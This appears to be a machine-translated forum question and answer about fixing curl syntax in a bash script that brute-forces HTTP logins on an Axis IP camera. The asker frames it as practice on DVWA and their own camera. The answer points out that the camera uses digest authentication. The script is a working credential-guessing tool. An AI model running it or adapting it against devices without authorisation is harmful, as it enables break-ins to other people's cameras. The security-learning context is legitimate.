基于GET的HTTP登录中的curl语法

Posted 2021-03-30

出于练习目的，我决定创建一个简单的强制执行bash脚本，我成功地使用它来解决DWVA。然后我转移到IoT - 即我的旧IP摄像头。这是我现在的代码：

#!/bin/bash

if [ "${#@}" != "2" ]; then
  echo "<command><host><path>"
  exit
fi

ip=$1
path=$2
for name in $(cat user.txt); do
 for pass in $(cat passwords.txt); do
echo  ${name}:${pass}
res="$(curl -si ${name}:${pass}@${ip}${path})"
check=$(echo "$res" | grep "HTTP/1.1 401 Unauthorised")
if [ "$check" != '' ]; then
  tput setaf 1
  echo "[FAILURE]"
  tput sgr0
else
  tput setaf 2
  echo "[SUCCESS]"
  tput sgr0
  exit
fi
sleep .1
  done;
done;

尽管存在明显的缺陷 - 比如在网络出现故障时报告成功 - 但它与我20分钟的编码工作一样好。但是，我似乎无法正确获得curl命令语法。有问题的相机是一个简单的Axis，运行cramFS和一个小脚本操作系统。它类似于许多公开可用的相机的登录表单，如here，here或here。一个简单的GET，但我觉得我正在靠墙撞击我的头。在这一点上，任何有点麻烦都会受到赞赏。

我冒昧地粘贴第一个GET包的内容：

AYGET /operator/basic.shtml?id=478 HTTP/1.1
Host: <target_host_ip>
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0

送回包裹的是简单，干燥的401。

PS：任何权力 - 如果违反任何内容，请随时删除IP。也可以随意指出语法/拼写等错误，因为C2考试即将到来。

答案

看起来这些摄像机并不是简单地使用“基本”HTTP身份验证和base64编码的用户名：密码组合，而是使用digest authentication，它涉及更多。

幸运的是，使用cURL这意味着您需要在命令行上指定--digest才能正确处理它。

使用以下方法自行测试事件序列：

curl --digest http://user:[e-mail]/digest-url/

你应该看到类似的东西：

*   Trying example.com...
* Connected to example.com (x.x.x.x) port 80 (#0)
* Server auth using Digest with user 'admin'
> GET /view/viewer_index.shtml?id=1323 HTTP/1.1
> Host: example.com
> User-Agent: curl/7.58.0
> Accept: */*
